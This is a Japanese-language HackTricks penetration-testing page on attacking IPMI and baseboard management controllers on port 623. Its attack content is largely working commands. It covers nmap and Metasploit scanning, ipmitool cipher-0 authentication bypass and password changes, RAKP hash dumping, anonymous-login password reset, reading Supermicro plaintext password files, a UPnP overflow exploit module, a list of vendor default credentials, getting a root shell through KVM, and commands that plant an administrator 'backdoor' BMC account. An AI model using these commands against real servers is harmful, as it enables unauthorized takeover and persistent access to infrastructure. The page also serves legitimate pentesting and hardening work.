623/UDP/TCP - IPMI
Reading time: 12 minutes
623/UDP/TCP - IPMI
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
IPMIの概要
インテリジェントプラットフォーム管理インターフェース (IPMI) は、オペレーティングシステムや電源状態に依存せず、コンピュータシステムのリモート管理と監視のための標準化されたアプローチを提供します。この技術により、システム管理者はシステムがオフまたは応答しない場合でもリモートで管理でき、特に以下の用途に便利です:
- OSブート前の構成
- 電源オフ管理
- システム障害からの回復
IPMIは、温度、電圧、ファン速度、電源供給の監視が可能で、在庫情報の提供、ハードウェアログのレビュー、SNMPを介したアラートの送信も行います。その運用に必要なのは、電源とLAN接続です。
1998年にIntelによって導入されて以来、IPMIは多くのベンダーによってサポートされ、特にバージョン2.0のLAN経由のシリアルサポートによりリモート管理機能が強化されました。主要なコンポーネントには以下が含まれます:
- ベースボード管理コントローラー (BMC): IPMI操作のための主要なマイクロコントローラー。
- 通信バスとインターフェース: ICMB、IPMB、ローカルおよびネットワーク接続用のさまざまなインターフェースを含む内部および外部通信のためのもの。
- IPMIメモリ: ログとデータを保存するためのもの。
デフォルトポート: 623/UDP/TCP (通常はUDPですが、TCPで動作している場合もあります)
列挙
発見
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
バージョンを特定するには、次のコマンドを使用できます:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMIの脆弱性
IPMI 2.0の領域では、Dan Farmerによって重要なセキュリティ欠陥が発見され、cipher type 0を通じて脆弱性が露呈しました。この脆弱性は、Dan Farmerの研究に詳細に文書化されており、有効なユーザーがターゲットにされる限り、任意のパスワードで不正アクセスを可能にします。この弱点は、HP、Dell、SupermicroなどのさまざまなBMCで見つかり、すべてのIPMI 2.0実装における広範な問題を示唆しています。
Cipher 0によるIPMI認証バイパス
この欠陥を検出するために、以下のMetasploit補助スキャナーを使用できます:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
この欠陥の悪用は、以下に示すように ipmitool
を使用して実現可能であり、ユーザーパスワードのリスト表示と変更を可能にします:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 RAKP 認証リモートパスワードハッシュ取得
この脆弱性により、既存のユーザー名に対して塩を加えたハッシュ化されたパスワード(MD5およびSHA1)を取得できます。この脆弱性をテストするために、Metasploitはモジュールを提供しています:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
IPMI 匿名認証
多くの BMC のデフォルト設定では、ユーザー名とパスワードが空の「匿名」アクセスが許可されています。この設定は、ipmitool
を使用して名前付きユーザーアカウントのパスワードをリセットするために悪用される可能性があります。
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI 平文パスワード
IPMI 2.0の重要な設計選択は、認証目的でBMC内に平文パスワードを保存する必要があります。Supermicroがこれらのパスワードを/nv/PSBlock
や/nv/PSStore
などの場所に保存することは、重大なセキュリティ上の懸念を引き起こします:
cat /nv/PSBlock
Supermicro IPMI UPnP 脆弱性
SupermicroのIPMIファームウェアにUPnP SSDPリスナーが含まれていること、特にUDPポート1900での実装は、深刻なセキュリティリスクをもたらします。 Rapid7の開示 に詳述されているように、UPnPデバイス用Intel SDKバージョン1.3.1の脆弱性により、BMCへのルートアクセスが可能になります。
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
ブルートフォース
HPは製造時にその**Integrated Lights Out (iLO)**製品のデフォルトパスワードをランダム化します。この慣行は、静的デフォルト資格情報を使用する他のメーカーとは対照的です。さまざまな製品のデフォルトのユーザー名とパスワードの概要は以下の通りです:
- **HP Integrated Lights Out (iLO)**は、工場でランダム化された8文字の文字列をデフォルトパスワードとして使用し、より高いセキュリティレベルを示しています。
- DellのiDRAC、IBMのIMM、およびFujitsuのIntegrated Remote Management Controllerのような製品は、それぞれ「calvin」、「PASSW0RD」(ゼロを含む)、および「admin」のような簡単に推測可能なパスワードを使用しています。
- 同様に、Supermicro IPMI (2.0)、Oracle/Sun ILOM、およびASUS iKVM BMCも「ADMIN」、「changeme」、および「admin」をパスワードとして使用するシンプルなデフォルト資格情報を持っています。
BMCを介してホストにアクセスする
Baseboard Management Controller (BMC)への管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。簡単なアプローチは、BMCのキーボード、ビデオ、マウス(KVM)機能を利用することです。これは、GRUBを介してホストをルートシェルに再起動する(init=/bin/sh
を使用)か、リカバリディスクとして設定された仮想CD-ROMからブートすることで行えます。このような方法により、ホストのディスクを直接操作でき、バックドアの挿入、データ抽出、またはセキュリティ評価のために必要な任意のアクションを実行できます。ただし、これはホストの再起動を必要とし、重大な欠点です。再起動せずに実行中のホストにアクセスすることはより複雑で、ホストの構成によって異なります。ホストの物理コンソールまたはシリアルコンソールがログインしたままであれば、BMCのKVMまたはシリアルオーバーLAN(sol)機能を介してipmitool
を使用して簡単に乗っ取ることができます。i2cバスやSuper I/Oチップのような共有ハードウェアリソースの悪用を探ることは、さらなる調査が必要な分野です。
ホストからBMCにバックドアを導入する
BMCを装備したホストが侵害された場合、ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入することができます。これにより、サーバー上に持続的な存在を作成します。この攻撃には、侵害されたホストに**ipmitool
**が存在し、BMCドライバーサポートが有効である必要があります。以下のコマンドは、認証をバイパスしてホストのローカルインターフェースを使用してBMCに新しいユーザーアカウントを注入する方法を示しています。この技術は、Linux、Windows、BSD、さらにはDOSを含む幅広いオペレーティングシステムに適用可能です。
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
References
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。